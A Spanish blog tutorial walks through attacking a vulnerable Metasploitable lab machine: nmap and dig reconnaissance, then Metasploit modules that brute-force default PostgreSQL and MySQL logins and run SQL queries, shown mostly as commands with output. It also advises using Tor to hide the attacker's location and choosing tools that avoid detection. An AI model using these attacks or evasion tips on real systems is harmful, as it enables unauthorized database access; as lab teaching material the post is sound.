Inicio > Hacking, MetaSploit > Penetrando Sistemas bajo plataforma GNU/Linux (vulnerable) con MetaSploit FrameWork – Parte I

Penetrando Sistemas bajo plataforma GNU/Linux (vulnerable) con MetaSploit FrameWork – Parte I

CONCEPTOS BASICOS DE PENETRACION BAJO PLATAFORMA GNU/LINUX (VULNERABLE) USANDO METASPLOIT FRAMEWORK – PARTE I
Descubriendo Servicios, Atacando PostgreSQL y MySQL Vulnerables

En las entradas anteriores, se han indicado algunas vulnerabilidades que se pueden explotar en un sistema windows (XP, 2003, Vista, 7, etc.) utilizando algunos de los exploits y módulos auxiliares existentes en MetaSploit Framework, en esta ocasión se intentará exponer algunas vulnerabilidades que existen en sistemas basados en GNU/Linux, que como el usuario podrá apreciar a lo largo de esta entrada, están relacionadas principalmente con malas configuraciones y malas practicas en la implantación de sistemas, por esta razón y algunas otras, GNU/Linux es actualmente uno de los sistemas operativos más potentes, estables y seguros del mundo.

Para demostrar estas vulnerabilidades, se ha utilizado MetaSploitable esta plataforma es una distribución basada en GNU/Linux con Ubuntu 8.04 ejecutando servicios mal configurados y con passwords por defecto y/o débiles, se trata de una distribución que le permite a un pentester aprender sobre lo que NO debería hacerse en un sistema GNU/Linux en términos de seguridad, en una entrada anterior de este blog se ha hecho referencia a esta distribución si el lector lo desea puede ver su contenido aquí

Detectando Servicios y puertos abiertos en la maquina remota:

Independiente de la plataforma que se intente penetrar, lo primero que un pentester debe conseguir, es precisamente información sobre la maquina objetivo, como el sistema operativo en ejecución, si existe algún balanceador de carga y sobre todo, los puertos abiertos y sus correspondientes servicios, para este fin es posible utilizar Nmap y la utilidad Dig, en entradas anteriores se ha indicado el uso de Nmap, puede verse parte 1 y parte 2

Sin embargo, en próximas entradas se profundizará mucho más sobre técnicas de escaneo contra maquinas remotas.

NOTA: Nuevamente se recalca que este tipo de acciones deben realizarse en un entorno de pruebas, dado que dependiendo de la normativa legal de cada país, realizar un escaneo de puertos contra una maquina remota sin consentimiento de su(s) propietario(s) puede ser considerada como una acción ilegal y condenable, en cualquier caso se aconseja utilizar Tor correctamente configurado y evitando “leaks” DNS, que es un problema frecuente cuando se utiliza Tor y no se tiene encuenta que Tor funciona sobre TCP mientras que cualquier petición DNS funciona sobre UDP dejando al descubierto trazas sobre la ubicación real del atacante. En una entrada anterior se ha indicado el uso de Nmap, proxychais y Tor para realizar un escaneo de puertos contra una maquina remota de forma anónima, (ver aquí)

Evidentemente se aconseja utilizar esta información de forma responsable, sin embargo recuerda, si cometes algún error y/o torpeza y te metes en un problema de índole legal, serás tu el que pague las consecuencias y no yo.

Bueno, después de esto asumiendo que la dirección de la víctima donde se encuentra MetaSploitable es 192.168.1.34, realizamos un escaneo de puertos y servicios en ejecución.

>nmap -sS -sV -p [1-65535]192.168.1.34
Starting Nmap 5.21 ( http://nmap.org ) at 2011-05-15 21:53 CEST

Nmap scan report for 192.168.1.34

Host is up (0.00058s latency).

Not shown: 988 closed ports

PORT STATE SERVICE VERSION

21/tcp open ftp ProFTPD 1.3.1

22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)

23/tcp open telnet Linux telnetd

25/tcp open smtp Postfix smtpd

53/tcp open domain ISC BIND 9.4.2

80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch)

139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)

445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)

3306/tcp open mysql MySQL 5.0.51a-3ubuntu5

3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))

5432/tcp open postgresql PostgreSQL DB

8009/tcp open ajp13 Apache Jserv (Protocol v1.3)

8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1

MAC Address: 08:00:27:BA:AF:EF (Cadmus Computer Systems)

Service Info: Host: metasploitable.localdomain; OSs: Unix, Linux

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 11.63 seconds

La salida anterior ha lanzado los servicios que se encuentran en ejecución junto con su protocolo y correspondiente puerto, ahora es posible emplear la utilidad dig para comprobar si existe un balanceador de carga en la maquina remota.

>dig 192.168.1.34;
<<>> DiG 9.7.1-P2 <<>> 192.168.1.34;; global options: +cmd;; Got answer:;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 61205

;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:

;192.168.1.34. IN A

;; AUTHORITY SECTION:

. 86192 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2011051500 1800 900 604800 86400

;; Query time: 96 msec

;; SERVER: 80.58.61.250#53(80.58.61.250)

;; WHEN: Sun May 15 21:40:40 2011

;; MSG SIZE rcvd: 105

Como se puede apreciar, el resultado de la salida del comando dig, nos indica que se ha realizado una petición DNS contra la maquina remota y la solicitud solamente se ha redirigido por un solo nodo (la sección QUESTION SECTION) ademas también ha indicado algunas otras características relacionadas con las CA (Autoridades de Certificación/Confianza), con esto podemos asumir que no existe un balanceador de carga ni físico ni de software.

Si ejecutamos un dig contra www.google.com, encontraremos que la petición se ha redirigido por varios servidores DNS, lo que es un claro ejemplo de cuando probablemente existe un balanceador de carga en el objetivo.

>dig http://www.google.com;
<<>> DiG 9.7.1-P2 <<>> http://www.google.com;; global options: +cmd;; Got answer:;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 64257

;; flags: qr rd ra; QUERY: 1, ANSWER: 7, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:

;www.google.com. IN A

;; ANSWER SECTION:

http://www.google.com. 604563 IN CNAME http://www.l.google.com.

http://www.l.google.com. 63 IN A 209.85.227.103

http://www.l.google.com. 63 IN A 209.85.227.105

http://www.l.google.com. 63 IN A 209.85.227.106

http://www.l.google.com. 63 IN A 209.85.227.99

http://www.l.google.com. 63 IN A 209.85.227.147

http://www.l.google.com. 63 IN A 209.85.227.104

;; Query time: 93 msec

;; SERVER: 80.58.61.250#53(80.58.61.250)

;; WHEN: Sun May 15 21:50:41 2011

;; MSG SIZE rcvd: 148

Con esta información, (aunque en un ataque real, probablemente será un poco mas complicado que esto y se necesite un proceso de recolección de información mucho mas detallado) será suficiente para comenzar a intentar obtener acceso a la maquina remota.

Encontrando Vulnerabilidades sobre el servicio PostgreSQL (Puerto 5432)

Para encontrar vulnerabilidades sobre la configuración de la base de datos PostgreSQL instalada en el objetivo se procede a buscar y listar los módulos y/o exploits contenidos en MetaSploit framework relacionados con postgres:

msf > search postgres
[*] Searching loaded modules for pattern ‘postgres’…Auxiliary=========Name Disclosure Date Rank Description

—- ————— —- ———–

admin/postgres/postgres_readfile normal PostgreSQL Server Generic Query

admin/postgres/postgres_sql normal PostgreSQL Server Generic Query

scanner/postgres/postgres_login normal PostgreSQL Login Utility

scanner/postgres/postgres_version normal PostgreSQL Version Probe

Exploits

========

Name Disclosure Date Rank Description

—- ————— —- ———–

windows/postgres/postgres_payload 2009-04-10 excellent PostgreSQL for Microsoft Windows Payload Execution

Se ha encontrado solamente un exploit relacionado con PostgreSQL sin embargo, funciona para plataformas windows, no obstante es posible utilizar el modulo postgres_login.

msf > use auxiliary/scanner/postgres/postgres_login
msf auxiliary(postgres_login) > show options

Module options (auxiliary/scanner/postgres/postgres_login):

Name Current Setting Required Description

—- ————— ——– ———–

BLANK_PASSWORDS true no Try blank passwords for all users

BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5

DATABASE template1 yes The database to authenticate against

PASSWORD no A specific password to authenticate with

PASS_FILE /opt/metasploit3/msf3/data/wordlists/postgres_default_pass.txt no File containing passwords, one per line

RETURN_ROWSET true no Set to true to see query result sets

RHOSTS yes The target address range or CIDR identifier

RPORT 5432 yes The target port

STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host

THREADS 1 yes The number of concurrent threads

USERNAME postgres no A specific username to authenticate as

USERPASS_FILE /opt/metasploit3/msf3/data/wordlists/postgres_default_userpass.txt no File containing (space-seperated) users and passwords, one pair per line

USER_AS_PASS true no Try the username as the password for all users

USER_FILE /opt/metasploit3/msf3/data/wordlists/postgres_default_user.txt no File containing users, one per line

VERBOSE true yes Whether to print output for all attempts

msf auxiliary(postgres_login) > set RHOSTS 192.168.1.34

RHOSTS => 192.168.1.34

msf auxiliary(postgres_login) > run

[*] 192.168.1.34:5432 Postgres – Trying username:’postgres’ with password:” on database ‘template1’

[-] 192.168.1.34:5432 Postgres – Invalid username or password: ‘postgres’:”

[-] 192.168.1.34:5432 Postgres – Username/Password failed.

[*] 192.168.1.34:5432 Postgres – Trying username:” with password:” on database ‘template1’

[-] 192.168.1.34:5432 Postgres – Invalid username or password: ”:”

[-] 192.168.1.34:5432 Postgres – Username/Password failed.

……………………………………..

[+] 192.168.1.34:5432 Postgres – Logged in to ‘template1’ with ‘postgres’:’postgres’

[+] 192.168.1.34:5432 Postgres – Success: postgres:postgres (Database ‘template1’ succeeded.)

[*] 192.168.1.34:5432 Postgres – Disconnected

Se ha conseguido una conexión con la base de datos usando usuario y clave débiles, evidentemente, en un entorno real se debe utilizar un diccionario más robusto y se recomienda utilizar THC Hydra para realizar ataques de fuerza bruta contra el servicio PostgreSQL, para obtener mas información sobre el uso de THC Hydra ver la entrada correspondiente a hydra aquí

Con esta información se puede utilizar el modulo postgres_sql de la siguiente forma:

msf auxiliary(postgres_sql) > use auxiliary/admin/postgres/postgres_sql
msf auxiliary(postgres_sql) > show options

Module options (auxiliary/admin/postgres/postgres_sql):

Name Current Setting Required Description

—- ————— ——– ———–

DATABASE template1 yes The database to authenticate against

PASSWORD no The password for the specified username. Leave blank for a random password.

RETURN_ROWSET true no Set to true to see query result sets

RHOST yes The target address

RPORT 5432 yes The target port

SQL select version() no The SQL query to execute

USERNAME postgres yes The username to authenticate as

VERBOSE false no Enable verbose output

msf auxiliary(postgres_sql) > set PASSWORD postgres

PASSWORD => postgres

msf auxiliary(postgres_sql) > set RHOST 192.168.1.34

RHOST => 192.168.1.34

msf auxiliary(postgres_sql) > run

Query Text: ‘select version()’

==============================

version

——-

PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)

[*] Auxiliary module execution completed

Como puede apreciarse se ha ejecutado el comando SQL indicado en la opción habilitada para este fin, se puede ejecutar cualquier otra consulta con el objetivo de obtener información adicional sobre el servidor o datos contenidos en la base de datos.

Encontrando Vulnerabilidades sobre el servicio MySQL (Puerto 3306)

Siguiendo el mismo procedimiento llevado a cabo con el servicio de PostgreSQL, se buscan diferentes módulos y exploits relacionados con MySQL para medir el nivel de seguridad implementado en el objetivo.

msf > search mysql
[*] Searching loaded modules for pattern ‘mysql’…Auxiliary=========Name Disclosure Date Rank Description

—- ————— —- ———–

admin/mysql/mysql_enum normal MySQL Enumeration Module

admin/mysql/mysql_sql normal MySQL SQL Generic Query

admin/tikiwiki/tikidblib 2006-11-01 normal TikiWiki information disclosure

scanner/mysql/mysql_login normal MySQL Login Utility

scanner/mysql/mysql_version normal MySQL Server Version Enumeration

Exploits

========

Name Disclosure Date Rank Description

—- ————— —- ———–

linux/mysql/mysql_yassl_getname 2010-01-25 good MySQL yaSSL CertDecoder::GetName Buffer Overflow

linux/mysql/mysql_yassl_hello 2008-01-04 good MySQL yaSSL SSL Hello Message Buffer Overflow

windows/mysql/mysql_payload 2009-01-16 excellent Oracle MySQL for Microsoft Windows Payload Execution

windows/mysql/mysql_yassl_hello 2008-01-04 average MySQL yaSSL SSL Hello Message Buffer Overflow

También se puede utilizar el modulo mysql_version para identificar la versión exacta de MySQL

msf > use auxiliary/scanner/mysql/mysql_version
msf auxiliary(mysql_version) > show options

Module options (auxiliary/scanner/mysql/mysql_version):

Name Current Setting Required Description

—- ————— ——– ———–

RHOSTS yes The target address range or CIDR identifier

RPORT 3306 yes The target port

THREADS 1 yes The number of concurrent threads

msf auxiliary(mysql_version) > set RHOSTS 192.168.1.34

RHOSTS => 192.168.1.34

msf auxiliary(mysql_version) > run

[*] 192.168.1.34:3306 is running MySQL 5.0.51a-3ubuntu5 (protocol 10)

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

Por otro lado se puede especificar un ataque de fuerza bruta para intentar capturar las credenciales de acceso con el modulo mysql_login

msf > use auxiliary/scanner/mysql/mysql_login
msf auxiliary(mysql_login) > show options

Module options (auxiliary/scanner/mysql/mysql_login):

Name Current Setting Required Description

—- ————— ——– ———–

BLANK_PASSWORDS true no Try blank passwords for all users

BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5

PASSWORD no A specific password to authenticate with

PASS_FILE no File containing passwords, one per line

RHOSTS 192.168.1.34 yes The target address range or CIDR identifier

RPORT 3306 yes The target port

STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host

THREADS 1 yes The number of concurrent threads

USERNAME no A specific username to authenticate as

USERPASS_FILE no File containing users and passwords separated by space, one pair per line

USER_AS_PASS true no Try the username as the password for all users

USER_FILE no File containing usernames, one per line

VERBOSE true yes Whether to print output for all attempts

msf auxiliary(mysql_login) > set USER_FILE /home/adastra/UTILITIES/userlist.lst

USER_FILE => /home/adastra/UTILITIES/userlist.lst

msf auxiliary(mysql_login) > set PASS_FILE /home/adastra/UTILITIES/userPass.lst

PASS_FILE => /home/adastra/UTILITIES/userPass.lst

msf auxiliary(mysql_login) > run

[*] 192.168.1.34:3306 – Found remote MySQL version 5.0.51a

[*] 192.168.1.34:3306 Trying username:’admin’ with password:”

[*] 192.168.1.34:3306 failed to login as ‘admin’ with password ”

[*] 192.168.1.34:3306 Trying username:’root’ with password:”

……………………………….

[*] 192.168.1.34:3306 Trying username:’root’ with password:’root’

[+] 192.168.1.34:3306 – SUCCESSFUL LOGIN ‘root’ : ‘root’

[*] 192.168.1.34:3306 Trying username:’1234′ with password:’1234′

[*] 192.168.1.34:3306 failed to login as ‘1234’ with password ‘1234’

Como puede apreciarse se ha obtenido nuevamente unas credenciales de acceso a la base de datos validas para realizar una conexión, ahora puede utilizarse el modulo mysql_sql

msf auxiliary(mysql_login) > use auxiliary/admin/mysql/mysql_sql
msf auxiliary(mysql_sql) > show options

Module options (auxiliary/admin/mysql/mysql_sql):

Name Current Setting Required Description

—- ————— ——– ———–

PASSWORD no The password for the specified username

RHOST yes The target address

RPORT 3306 yes The target port

SQL select version() yes The SQL to execute.

USERNAME no The username to authenticate as

msf auxiliary(mysql_sql) > set PASSWORD root

PASSWORD => root

msf auxiliary(mysql_sql) > set RHOST 192.168.1.34

RHOST => 192.168.1.34

msf auxiliary(mysql_sql) > set USERNAME root

USERNAME => root

msf auxiliary(mysql_sql) > run

[*] Sending statement: ‘select version()’…

[*] | 5.0.51a-3ubuntu5 |

[*] Auxiliary module execution completed

Del mismo modo que se ha conseguido ejecutar una consulta SQL para obtener la versión del servidor, se puede ejecutar cualquier tipo de consulta para recuperar cualquier tipo de información que se encuentre almacenada en dicha base de datos o inclusive realizar una conexión directamente a la base de datos.

Al igual que con el servicio de postgresql explicado en lineas anteriores, para un ataque y/o prueba de penetración mas elaborado se aconseja utilizar THC Hydra, principalmente para no degradar la prestación del servicio objetivo, evitar que el ataque sea detectado, o simplemente que la IP del atacante/pentester sea marcada en la blacklist del servidor objetivo y sus conexiones sean rechazadas directamente. Ver aquí

En la próxima entrada se indicará exactamente como esta información es útil para comprometer otros servicios.

  1. Anónimo
    marzo 23, 2017 en 4:05 pm

    Hola, solo comentarte que cuando clicko en el enlace sobre Nmap, proxychais y Tor me reenvia a una pagina que dice que no hay ningun dato relacionado. Es un error mio o vuestro .

    Gracias.

    Me gusta

  1. No trackbacks yet.

Responder

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s

A %d blogueros les gusta esto: